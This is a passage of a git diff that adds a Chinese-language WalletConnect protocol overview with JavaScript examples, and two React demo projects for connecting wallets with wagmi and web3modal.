+- **安全消息传递**：所有通信均加密，确保钱包和 DApp 之间的交互安全。
+- **灵活的会话管理**：支持多会话，用户可以轻松在不同 DApps 和区块链网络之间切换。
+- **简单的集成方式**：DApp 和钱包开发者可以使用 WalletConnect SDK 快速集成，并支持广泛的钱包连接。
+- **跨平台兼容**：支持 iOS、Android 和 Web，确保用户在各种设备上都能访问。
+
+## 技术架构
+
+### 核心组件
+
+1. **Bridge Server**：
+   - 作为中继服务器，负责在钱包和 DApp 之间传递加密消息
+   - 采用分布式架构，提高可用性和性能
+   - 支持 WebSocket 长连接，实现实时通信
+
+   示例配置：
+   ```javascript
+   const bridge = new WalletConnectBridge({
+     url: "wss://bridge.walletconnect.org",
+     pingInterval: 15000,
+     maxAttempts: 5
+   });
+   ```
+
+2. **Client SDK**：
+   - 提供多语言支持（JavaScript、Swift、Kotlin等）
+   - 封装核心协议逻辑，简化开发流程
+   - 内置安全机制和错误处理
+
+   JavaScript 示例：
+   ```javascript
+   import WalletConnect from "@walletconnect/client";
+   
+   const connector = new WalletConnect({
+     bridge: "https://bridge.walletconnect.org",
+     qrcodeModal: QRCodeModal,
+     chainId: 1
+   });
+   
+   // 监听连接事件
+   connector.on("connect", (error, payload) => {
+     if (error) {
+       console.error(error);
+       return;
+     }
+     const { accounts, chainId } = payload.params[0];
+     console.log("Connected to", accounts[0]);
+   });
+   ```
+
+3. **协议层**：
+   - 定义标准消息格式和通信流程
+   - 实现跨平台兼容性
+   - 支持协议版本升级和向后兼容
+
+   消息格式示例：
+   ```json
+   {
+     "id": 1234567890,
+     "jsonrpc": "2.0",
+     "method": "eth_sendTransaction",
+     "params": [{
+       "from": "0x...",
+       "to": "0x...",
+       "value": "0x..."
+     }]
+   }
+
+### 连接流程
+
+1. DApp 创建连接请求并生成二维码
+2. 用户使用钱包扫描二维码
+3. 建立加密通道
+4. 进行身份验证和授权
+5. 开始安全通信
+
+## 安全机制
+
+### 加密方案
+
+- **非对称加密**：使用 X25519 密钥交换
+- **对称加密**：采用 AES-256-CBC 加密消息内容
+- **消息认证**：使用 HMAC-SHA256 确保消息完整性
+
+### 安全特性
+
+1. **零信任架构**：
+   - 所有通信均端到端加密
+   - Bridge Server 无法解密消息内容
+   - 每个会话使用唯一的密钥对
+
+2. **权限控制**：
+   - 细粒度的操作授权
+   - 支持会话过期和主动断开
+   - 可限制特定链和方法的访问
+
+## 应用场景
+
+### DeFi 应用
+
+- 去中心化交易
+- 流动性提供
+- 收益耕作
+- 借贷平台
+
+### NFT 交易
+
+- 市场交易
+- 铸造操作
+- 拍卖参与
+- 版税管理
+
+### GameFi
+
+- 游戏资产管理
+- 道具交易
+- 成就奖励
+- 跨游戏互操作
+
+## 性能优化
+
+### 连接优化
+
+1. **快速重连**：
+   - 缓存会话信息
+   - 支持自动重连
+   - 优化重连流程
+
+   重连实现示例：
+   ```javascript
+   class ConnectionManager {
+     constructor() {
+       this.reconnectAttempts = 0;
+       this.maxAttempts = 5;
+       this.baseDelay = 1000; // 1秒
+     }
+
+     async reconnect() {
+       if (this.reconnectAttempts >= this.maxAttempts) {
+         throw new Error("重连次数超过限制");
+       }
+
+       // 使用指数退避策略
+       const delay = this.baseDelay * Math.pow(2, this.reconnectAttempts);
+       await new Promise(resolve => setTimeout(resolve, delay));
+
+       try {
+         // 尝试恢复缓存的会话
+         const session = localStorage.getItem("walletconnect");
+         if (session) {
+           await connector.connect(JSON.parse(session));
+         } else {
+           await connector.createSession();
+         }
+         this.reconnectAttempts = 0;
+         return true;
+       } catch (error) {
+         this.reconnectAttempts++;
+         return this.reconnect();
+       }
+     }
+   }
+   ```
+
+2. **网络适应**：
+   - 动态超时调整
+   - 自动重试机制
+   - 网络状态监控
+
+   网络适应示例：
+   ```javascript
+   class NetworkMonitor {
+     constructor() {
+       this.baseTimeout = 5000;
+       this.maxTimeout = 30000;
+       this.latencyHistory = [];
+     }
+
+     // 计算动态超时时间
+     calculateTimeout() {
+       if (this.latencyHistory.length === 0) {
+         return this.baseTimeout;
+       }
+
+       // 使用最近5次请求的平均延迟
+       const recentLatencies = this.latencyHistory.slice(-5);
+       const avgLatency = recentLatencies.reduce((a, b) => a + b, 0) / recentLatencies.length;
+       
+       // 动态超时 = 平均延迟 * 3 + 标准差
+       const timeout = (avgLatency * 3) + this.calculateStdDev(recentLatencies);
+       return Math.min(Math.max(timeout, this.baseTimeout), this.maxTimeout);
+     }
+
+     // 计算标准差
+     calculateStdDev(values) {
+       const avg = values.reduce((a, b) => a + b, 0) / values.length;
+       const squareDiffs = values.map(value => Math.pow(value - avg, 2));
+       const avgSquareDiff = squareDiffs.reduce((a, b) => a + b, 0) / squareDiffs.length;
+       return Math.sqrt(avgSquareDiff);
+     }
+
+     // 记录请求延迟
+     recordLatency(latency) {
+       this.latencyHistory.push(latency);
+       if (this.latencyHistory.length > 10) {
+         this.latencyHistory.shift();
+       }
+     }
+   }
+   ```
+
+### 资源管理
+
+- 优化内存使用
+- 减少网络请求
+- 高效的状态同步
+
+资源管理示例：
+```javascript
+// 内存优化
+class ResourceManager {
+  constructor() {
+    this.subscriptions = new Map();
+    this.messageQueue = [];
+    this.maxQueueSize = 100;
+    this.processingInterval = 1000; // 1秒处理一次队列
+  }
+
+  // 批量处理消息队列
+  processMessageQueue() {
+    setInterval(() => {
+      const batch = this.messageQueue.splice(0, 10);
+      if (batch.length > 0) {
+        this.sendBatchMessage(batch);
+      }
+    }, this.processingInterval);
+  }
+
+  // 清理过期订阅
+  cleanupSubscriptions() {
+    const now = Date.now();
+    for (const [key, sub] of this.subscriptions) {
+      if (now - sub.lastActive > 5 * 60 * 1000) { // 5分钟无活动
+        sub.unsubscribe();
+        this.subscriptions.delete(key);
+      }
+    }
+  }
+
+  // 状态同步优化
+  async syncState() {
+    const lastSync = localStorage.getItem("lastSync");
+    const now = Date.now();
+    
+    // 增量同步
+    if (lastSync) {
+      const changes = await this.getStateChangesSince(lastSync);
+      this.applyStateChanges(changes);
+    } else {
+      // 全量同步
+      const state = await this.getFullState();
+      this.setState(state);
+    }
+    
+    localStorage.setItem("lastSync", now.toString());
+  }
+
+  // 性能指标监控
+  measurePerformance() {
+    return {
+      memoryUsage: performance.memory?.usedJSHeapSize || 0,
+      activeSubscriptions: this.subscriptions.size,
+      queueLength: this.messageQueue.length,
+      processingLatency: this.calculateProcessingLatency()
+    };
+  }
+}
+```
+
+## 最佳实践
+
+### 开发建议
+
+1. **错误处理**：
+   - 实现完整的错误处理逻辑
+   - 提供用户友好的错误提示
+   - 记录详细的错误日志
+
+   错误处理示例：
+   ```javascript
+   connector.on("error", (error) => {
+     // 网络错误处理
+     if (error.message.includes("network")) {
+       showNetworkError();
+       attemptReconnect();
+       return;
+     }
+     
+     // 会话过期处理
+     if (error.message.includes("session")) {
+       clearSession();
+       requestNewConnection();
+       return;
+     }
+     
+     // 通用错误处理
+     console.error("WalletConnect错误:", error);
+     showUserFriendlyError(error);
+   });
+   
+   function showUserFriendlyError(error) {
+     const errorMessages = {
+       "user_rejected": "用户拒绝了请求",
+       "chain_not_supported": "当前钱包不支持该链",
+       "invalid_parameters": "无效的交易参数"
+     };
+     
+     const message = errorMessages[error.code] || "连接出现问题，请稍后重试";
+     displayError(message);
+   }
+   ```
+
+2. **用户体验**：
+   - 显示连接状态和进度
+   - 提供清晰的操作引导
+   - 实现平滑的断开重连
+
+   状态管理示例：
+   ```javascript
+   const ConnectionState = {
+     CONNECTING: "connecting",
+     CONNECTED: "connected",
+     DISCONNECTED: "disconnected",
+     ERROR: "error"
+   };
+   
+   function updateConnectionUI(state) {
+     const stateMessages = {
+       [ConnectionState.CONNECTING]: "正在连接钱包...",
+       [ConnectionState.CONNECTED]: "钱包已连接",
+       [ConnectionState.DISCONNECTED]: "请连接钱包",
+       [ConnectionState.ERROR]: "连接出错"
+     };
+     
+     // 更新UI状态
+     updateStatusText(stateMessages[state]);
+     updateConnectButton(state);
+     updateLoadingIndicator(state === ConnectionState.CONNECTING);
+   }
+   ```
+
+### 安全建议
+
+- 定期更新 SDK 版本
+- 实施请求频率限制
+- 验证所有用户输入
+- 实现会话超时机制
+
+安全实践示例：
+```javascript
+// 请求频率限制
+const rateLimiter = {
+  requests: {},
+  limit: 5,
+  interval: 60000, // 1分钟
+  
+  checkLimit(method) {
+    const now = Date.now();
+    const recentRequests = this.requests[method] || [];
+    
+    // 清理过期请求
+    this.requests[method] = recentRequests.filter(
+      time => now - time < this.interval
+    );
+    
+    if (this.requests[method].length >= this.limit) {
+      throw new Error("请求过于频繁，请稍后再试");
+    }
+    
+    this.requests[method].push(now);
+  }
+};
+
+// 输入验证
+function validateTransactionParams(params) {
+  const required = ["to", "value"];
+  for (const field of required) {
+    if (!params[field]) {
+      throw new Error(`缺少必要参数: ${field}`);
+    }
+  }
+  
+  // 验证地址格式
+  if (!/^0x[a-fA-F0-9]{40}$/.test(params.to)) {
+    throw new Error("无效的接收地址");
+  }
+  
+  // 验证金额
+  if (!/^[0-9]+$/.test(params.value)) {
+    throw new Error("无效的转账金额");
+  }
+}
+
+// 会话超时检查
+const SESSION_TIMEOUT = 30 * 60 * 1000; // 30分钟
+function checkSessionTimeout() {
+  const lastActivity = connector.lastActivityTime;
+  if (Date.now() - lastActivity > SESSION_TIMEOUT) {
+    connector.killSession();
+    return false;
+  }
+  return true;
+}
+```
+
+## 未来发展
+
+### 技术路线
+
+1. **协议升级**：
+   - 支持更多加密算法
+   - 优化消息传输效率
+   - 增强安全性能
+
+2. **功能扩展**：
+   - 支持更多区块链网络
+   - 提供更丰富的API
+   - 增加开发者工具
+
+### 生态建设
+
+- 扩大合作伙伴网络
+- 建立开发者社区
+- 提供更多学习资源
+- 举办技术研讨会
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/.env.example b/basic/78-wallet-connect/v2/basic-dapp-example/.env.example
new file mode 100644
index 000000000..609031d2b
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/.env.example
@@ -0,0 +1,2 @@
+REACT_APP_PROJECT_ID=11111
+#Apply your project id at https://cloud.walletconnect.com
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/README.md b/basic/78-wallet-connect/v2/basic-dapp-example/README.md
new file mode 100644
index 000000000..e4e5b2cdb
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/README.md
@@ -0,0 +1,29 @@
+# Wallet Connect Demo
+
+This demo showcases how to set up Wallet Connect with React, using `wagmi` and `web3modal` for blockchain connection and user authentication.
+
+## Setup Instructions
+
+1. **Install Dependencies**
+   ```bash
+   yarn
+   ```
+
+2. **Create `.env` File**
+
+   Create a `.env` file in the root of your project and add your Wallet Connect Project ID. You can obtain a Project ID by signing up at [Wallet Connect Cloud](https://cloud.walletconnect.com).
+
+   ```plaintext
+   REACT_APP_PROJECT_ID=your_project_id_here
+   ```
+
+3. **Start the Demo**
+   ```bash
+   yarn start
+   ```
+
+## References
+
+For more details, see the following resources:
+- [Wagmi Getting Started](https://wagmi.sh/react/getting-started)
+- [Wagmi Connect Wallet Example](https://wagmi.sh/examples/connect-wallet)
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/craco.config.js b/basic/78-wallet-connect/v2/basic-dapp-example/craco.config.js
new file mode 100644
index 000000000..9e126a180
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/craco.config.js
@@ -0,0 +1,8 @@
+const path = require('path');
+module.exports = {
+  webpack: {
+    alias: {
+      '@': path.resolve(__dirname, 'src'),
+    },
+  },
+};
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/jsconfig.json b/basic/78-wallet-connect/v2/basic-dapp-example/jsconfig.json
new file mode 100644
index 000000000..c932e6350
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/jsconfig.json
@@ -0,0 +1,8 @@
+{
+    "compilerOptions": {
+      "baseUrl": ".",
+      "paths": {
+        "@/*": ["./src/*"]
+      }
+    }
+  }
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/package.json b/basic/78-wallet-connect/v2/basic-dapp-example/package.json
new file mode 100644
index 000000000..328d46c81
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/package.json
@@ -0,0 +1,44 @@
+{
+  "name": "wagmi-basic",
+  "version": "0.1.0",
+  "private": true,
+  "dependencies": {
+    "@craco/craco": "^7.1.0",
+    "@material-ui/core": "^4.12.4",
+    "@testing-library/jest-dom": "^5.14.1",
+    "@testing-library/react": "^13.0.0",
+    "@testing-library/user-event": "^13.2.1",
+    "@wagmi/chains": "^1.6.0",
+    "@web3modal/ethereum": "^2.7.1",
+    "@web3modal/react": "^2.7.1",
+    "react": "^18.2.0",
+    "react-dom": "^18.2.0",
+    "react-scripts": "5.0.1",
+    "viem": "^1.5.3",
+    "wagmi": "^1.3.9",
+    "web-vitals": "^2.1.0"
+  },
+  "scripts": {
+    "start": "GENERATE_SOURCEMAP=false craco start",
+    "build": "craco build",
+    "test": "craco test"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/public/index.html b/basic/78-wallet-connect/v2/basic-dapp-example/public/index.html
new file mode 100644
index 000000000..83111dfe0
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/public/index.html
@@ -0,0 +1,42 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <meta name="theme-color" content="#000000" />
+    <meta
+      name="description"
+      content="Wallet Connect Demo"
+    />
+
+    <!--
+      manifest.json provides metadata used when your web app is installed on a
+      user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
+    -->
+    <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
+    <!--
+      Notice the use of %PUBLIC_URL% in the tags above.
+      It will be replaced with the URL of the `public` folder during the build.
+      Only files inside the `public` folder can be referenced from the HTML.
+
+      Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
+      work correctly both with client-side routing and a non-root public URL.
+      Learn how to configure a non-root public URL by running `npm run build`.
+    -->
+    <title>Wallet Connect Demo</title>
+  </head>
+  <body>
+    <noscript>You need to enable JavaScript to run this app.</noscript>
+    <div id="root"></div>
+    <!--
+      This HTML file is a template.
+      If you open it directly in the browser, you will see an empty page.
+
+      You can add webfonts, meta tags, or analytics to this file.
+      The build step will place the bundled scripts into the <body> tag.
+
+      To begin the development, run `npm start` or `yarn start`.
+      To create a production bundle, use `npm run build` or `yarn build`.
+    -->
+  </body>
+</html>
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/public/manifest.json b/basic/78-wallet-connect/v2/basic-dapp-example/public/manifest.json
new file mode 100644
index 000000000..fd3584366
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/public/manifest.json
@@ -0,0 +1,10 @@
+{
+  "short_name": "Wallet Connect Demo",
+  "name": "Wallet Connect Demo",
+  "icons": [
+  ],
+  "start_url": ".",
+  "display": "standalone",
+  "theme_color": "#000000",
+  "background_color": "#ffffff"
+}
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/public/robots.txt b/basic/78-wallet-connect/v2/basic-dapp-example/public/robots.txt
new file mode 100644
index 000000000..e9e57dc4d
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/public/robots.txt
@@ -0,0 +1,3 @@
+# https://www.robotstxt.org/robotstxt.html
+User-agent: *
+Disallow:
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/src/App.css b/basic/78-wallet-connect/v2/basic-dapp-example/src/App.css
new file mode 100644
index 000000000..85a85d768
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/src/App.css
@@ -0,0 +1,14 @@
+
+.homepage {
+  position: relative;
+  width: 30%;
+  top: 30vh;
+  margin: auto;
+  display: flex;
+  flex-direction: column;
+  justify-content: space-evenly;
+  align-items: left;
+  font-size: 20px;
+  font-weight: 500;
+}
+
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/src/App.js b/basic/78-wallet-connect/v2/basic-dapp-example/src/App.js
new file mode 100644
index 000000000..afc1b007b
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/src/App.js
@@ -0,0 +1,45 @@
+// Import core components and styles
+import './App.css';
+
+// WalletConnect and Wagmi imports
+import { EthereumClient, w3mConnectors, w3mProvider } from '@web3modal/ethereum';
+import { Web3Modal, Web3Button, Web3NetworkSwitch } from '@web3modal/react';
+import { configureChains, createConfig, WagmiConfig } from 'wagmi';
+import { mainnet, arbitrum, polygon, localhost } from 'wagmi/chains';
+
+// Define chains and project ID
+const chains = [mainnet, arbitrum, polygon, localhost];
+const projectId = process.env.REACT_APP_PROJECT_ID || "453f2a8e1d89bc35b8bc49eb781167b9";
+
+// Configure Wagmi client and Ethereum client
+const { publicClient } = configureChains(chains, [w3mProvider({ projectId })]);
+const wagmiConfig = createConfig({
+  autoConnect: true,
+  connectors: w3mConnectors({ projectId, chains }),
+  publicClient
+});
+const ethereumClient = new EthereumClient(wagmiConfig, chains);
+
+function App() {
+  return (
+    <div>
+      <WagmiConfig config={wagmiConfig}>
+        <HomePage />
+      </WagmiConfig>
+
+      <Web3Modal projectId={projectId} ethereumClient={ethereumClient} />
+    </div>
+  );
+}
+
+function HomePage() {
+  return (
+    <div className="homepage">
+      <Web3NetworkSwitch />
+      <Web3Button style={{ marginTop: '20px' }} />
+    </div>
+  );
+}
+
+
+export default App;
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/src/index.css b/basic/78-wallet-connect/v2/basic-dapp-example/src/index.css
new file mode 100644
index 000000000..3af1c2013
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/src/index.css
@@ -0,0 +1,16 @@
+body {
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
+    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
+    sans-serif;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+code {
+  font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
+    monospace;
+}
+
+button {
+}
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/basic-dapp-example/src/index.js b/basic/78-wallet-connect/v2/basic-dapp-example/src/index.js
new file mode 100644
index 000000000..7716fe4c7
--- /dev/null
+++ b/basic/78-wallet-connect/v2/basic-dapp-example/src/index.js
@@ -0,0 +1,12 @@
+import React from 'react';
+import ReactDOM from 'react-dom/client';
+import './index.css';
+import App from './App';
+
+const root = ReactDOM.createRoot(document.getElementById('root'));
+root.render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>
+);
+
diff --git a/basic/78-wallet-connect/v2/multichain-example/.env.example b/basic/78-wallet-connect/v2/multichain-example/.env.example
new file mode 100644
index 000000000..a1af2b6e5
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/.env.example
@@ -0,0 +1,5 @@
+# WalletConnect Project ID from https://cloud.walletconnect.com
+REACT_APP_PROJECT_ID=your_project_id_here
+
+# Infura API Key for multiple chain support
+REACT_APP_INFURA_KEY=your_infura_key_here
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/multichain-example/README.md b/basic/78-wallet-connect/v2/multichain-example/README.md
new file mode 100644
index 000000000..cd21824a2
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/README.md
@@ -0,0 +1,89 @@
+# WalletConnect 多链交互示例
+
+这个示例项目展示了如何使用 WalletConnect v2 实现多链交互功能，包括跨链资产查看、多链钱包连接和链间切换等功能。
+
+## 功能特点
+
+- 支持多个区块链网络的同时连接
+- 实时显示多链资产余额
+- 支持在不同链之间无缝切换
+- 展示跨链交易历史
+- 集成多链交易签名功能
+
+## 技术栈
+
+- React.js - 前端框架
+- wagmi - 以太坊 React Hooks 库
+- web3modal - Web3钱包连接组件
+- ethers.js - 区块链交互库
+- viem - 现代以太坊开发工具包
+
+## 支持的网络
+
+- Ethereum Mainnet
+- Polygon
+- Arbitrum
+- Optimism
+- Binance Smart Chain
+
+## 开始使用
+
+1. **安装依赖**
+   ```bash
+   yarn install
+   ```
+
+2. **环境配置**
+   - 复制 `.env.example` 到 `.env`
+   - 在 [WalletConnect Cloud](https://cloud.walletconnect.com) 注册并获取项目ID
+   - 在 [Infura](https://infura.io) 注册并获取API密钥
+   - 更新 `.env` 文件中的配置
+
+3. **启动开发服务器**
+   ```bash
+   yarn start
+   ```
+
+## 项目结构
+
+```
+├── src/
+│   ├── components/     # React组件
+│   ├── hooks/         # 自定义Hooks
+│   ├── config/        # 配置文件
+│   ├── utils/         # 工具函数
+│   └── services/      # 区块链服务
+```
+
+## 主要功能演示
+
+1. **多链钱包连接**
+   - 支持同时连接多个区块链网络
+   - 显示每个网络的连接状态
+   - 提供网络切换功能
+
+2. **资产管理**
+   - 查看多链资产余额
+   - 显示代币价格和市值
+   - 支持资产转账功能
+
+3. **交易功能**
+   - 发送跨链交易
+   - 查看交易历史
+   - 交易状态追踪
+
+## 测试
+
+```bash
+# 运行单元测试
+yarn test
+
+# 运行E2E测试
+yarn test:e2e
+```
+
+## 参考资源
+
+- [WalletConnect v2 文档](https://docs.walletconnect.com/2.0)
+- [Wagmi 文档](https://wagmi.sh)
+- [Web3Modal 文档](https://docs.walletconnect.com/2.0/web3modal/about)
diff --git a/basic/78-wallet-connect/v2/multichain-example/package.json b/basic/78-wallet-connect/v2/multichain-example/package.json
new file mode 100644
index 000000000..b6633f258
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/package.json
@@ -0,0 +1,40 @@
+{
+  "name": "multichain-example",
+  "version": "1.0.0",
+  "private": true,
+  "dependencies": {
+    "@wagmi/core": "^1.4.5",
+    "@web3modal/ethereum": "^2.7.1",
+    "@web3modal/react": "^2.7.1",
+    "ethers": "^5.7.2",
+    "react": "^18.2.0",
+    "react-dom": "^18.2.0",
+    "react-scripts": "5.0.1",
+    "viem": "^1.18.1",
+    "wagmi": "^1.4.5"
+  },
+  "scripts": {
+    "start": "react-scripts start",
+    "build": "react-scripts build",
+    "test": "react-scripts test",
+    "eject": "react-scripts eject"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/multichain-example/public/index.html b/basic/78-wallet-connect/v2/multichain-example/public/index.html
new file mode 100644
index 000000000..32eba196d
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/public/index.html
@@ -0,0 +1,20 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <link rel="icon" href="%PUBLIC_URL%/favicon.ico" />
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <meta name="theme-color" content="#000000" />
+    <meta
+      name="description"
+      content="WalletConnect Multichain Example"
+    />
+    <link rel="apple-touch-icon" href="%PUBLIC_URL%/logo192.png" />
+    <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
+    <title>WalletConnect Multichain Example</title>
+  </head>
+  <body>
+    <noscript>You need to enable JavaScript to run this app.</noscript>
+    <div id="root"></div>
+  </body>
+</html>
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/multichain-example/src/App.js b/basic/78-wallet-connect/v2/multichain-example/src/App.js
new file mode 100644
index 000000000..edcebe548
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/src/App.js
@@ -0,0 +1,46 @@
+import { EthereumClient, w3mConnectors, w3mProvider } from '@web3modal/ethereum'
+import { Web3Modal } from '@web3modal/react'
+import { configureChains, createConfig, WagmiConfig } from 'wagmi'
+import { arbitrum, mainnet, polygon } from 'wagmi/chains'
+import { useAccount, useDisconnect } from 'wagmi'
+
+// 配置链和providers
+const chains = [arbitrum, mainnet, polygon]
+const projectId = 'YOUR_PROJECT_ID' // 需要替换为你的WalletConnect项目ID
+
+const { publicClient } = configureChains(chains, [w3mProvider({ projectId })])
+const wagmiConfig = createConfig({
+  autoConnect: true,
+  connectors: w3mConnectors({ projectId, chains }),
+  publicClient
+})
+const ethereumClient = new EthereumClient(wagmiConfig, chains)
+
+function Profile() {
+  const { address, isConnected } = useAccount()
+  const { disconnect } = useDisconnect()
+
+  if (isConnected)
+    return (
+      <div>
+        已连接到: {address}
+        <button onClick={() => disconnect()}>断开连接</button>
+      </div>
+    )
+  return <div>请连接钱包</div>
+}
+
+export default function App() {
+  return (
+    <>
+      <WagmiConfig config={wagmiConfig}>
+        <Profile />
+      </WagmiConfig>
+
+      <Web3Modal
+        projectId={projectId}
+        ethereumClient={ethereumClient}
+      />
+    </>
+  )
+}
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/multichain-example/src/components/MultiChainWallet.js b/basic/78-wallet-connect/v2/multichain-example/src/components/MultiChainWallet.js
new file mode 100644
index 000000000..c40ece582
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/src/components/MultiChainWallet.js
@@ -0,0 +1,124 @@
+import React, { useState, useEffect } from 'react';
+import { useAccount, useNetwork, useBalance, useConnect, useDisconnect } from 'wagmi';
+import { SUPPORTED_CHAINS } from '../utils/chainUtils';
+import { isTransactionSafe, isHighRiskTransaction } from '../utils/securityUtils';
+
+const MultiChainWallet = () => {
+  const { address, isConnected } = useAccount();
+  const { chain } = useNetwork();
+  const { connect, connectors } = useConnect();
+  const { disconnect } = useDisconnect();
+  const [selectedChain, setSelectedChain] = useState(null);
+
+  // 获取当前链上的余额
+  const { data: balance } = useBalance({
+    address,
+    chainId: selectedChain?.id,
+    watch: true,
+  });
+
+  // 监听链切换
+  useEffect(() => {
+    if (chain) {
+      const currentChain = Object.values(SUPPORTED_CHAINS).find(
+        (c) => c.id === chain.id
+      );
+      setSelectedChain(currentChain);
+    }
+  }, [chain]);
+
+  // 处理连接钱包
+  const handleConnect = async (connector) => {
+    try {
+      await connect({ connector });
+    } catch (error) {
+      console.error('连接钱包失败:', error);
+    }
+  };
+
+  // 处理断开连接
+  const handleDisconnect = async () => {
+    try {
+      await disconnect();
+      setSelectedChain(null);
+    } catch (error) {
+      console.error('断开连接失败:', error);
+    }
+  };
+
+  return (
+    <div className="p-4">
+      <h1 className="text-2xl font-bold mb-4">多链钱包</h1>
+
+      {/* 连接状态 */}
+      <div className="mb-4">
+        {isConnected ? (
+          <div>
+            <p>已连接地址: {address}</p>
+            <p>当前网络: {selectedChain?.name || '未知网络'}</p>
+            <p>余额: {balance?.formatted || '0'} {balance?.symbol}</p>
+            <button
+              onClick={handleDisconnect}
+              className="bg-red-500 text-white px-4 py-2 rounded mt-2"
+            >
+              断开连接
+            </button>
+          </div>
+        ) : (
+          <div>
+            <p>请连接钱包</p>
+            <div className="flex gap-2 mt-2">
+              {connectors.map((connector) => (
+                <button
+                  key={connector.id}
+                  onClick={() => handleConnect(connector)}
+                  className="bg-blue-500 text-white px-4 py-2 rounded"
+                >
+                  {connector.name}
+                </button>
+              ))}
+            </div>
+          </div>
+        )}
+      </div>
+
+      {/* 支持的链列表 */}
+      {isConnected && (
+        <div className="mt-4">
+          <h2 className="text-xl font-semibold mb-2">支持的网络</h2>
+          <div className="grid grid-cols-2 gap-2">
+            {Object.values(SUPPORTED_CHAINS).map((supportedChain) => (
+              <div
+                key={supportedChain.id}
+                className={`p-3 rounded border ${
+                  selectedChain?.id === supportedChain.id
+                    ? 'bg-green-100 border-green-500'
+                    : 'bg-gray-100 border-gray-300'
+                }`}
+              >
+                <p className="font-medium">{supportedChain.name}</p>
+                <p className="text-sm text-gray-600">
+                  Chain ID: {supportedChain.id}
+                </p>
+              </div>
+            ))}
+          </div>
+        </div>
+      )}
+
+      {/* 安全提示 */}
+      {isConnected && (
+        <div className="mt-4 p-3 bg-yellow-100 rounded">
+          <h3 className="font-semibold">安全提示</h3>
+          <ul className="list-disc list-inside text-sm">
+            <li>请确保在进行跨链操作时仔细检查网络和地址</li>
+            <li>大额转账请使用小额测试</li>
+            <li>谨防钓鱼网站和恶意合约</li>
+          </ul>
+        </div>
+      )}
+    </div>
+  );
+};
+
+export default MultiChainWallet;
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/multichain-example/src/index.css b/basic/78-wallet-connect/v2/multichain-example/src/index.css
new file mode 100644
index 000000000..2bac0df99
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/src/index.css
@@ -0,0 +1,34 @@
+body {
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
+    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
+    sans-serif;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+code {
+  font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
+    monospace;
+}
+
+.container {
+  padding: 20px;
+  max-width: 800px;
+  margin: 0 auto;
+}
+
+button {
+  padding: 10px 20px;
+  margin: 10px;
+  border: none;
+  border-radius: 5px;
+  background-color: #646cff;
+  color: white;
+  cursor: pointer;
+  font-size: 16px;
+}
+
+button:hover {
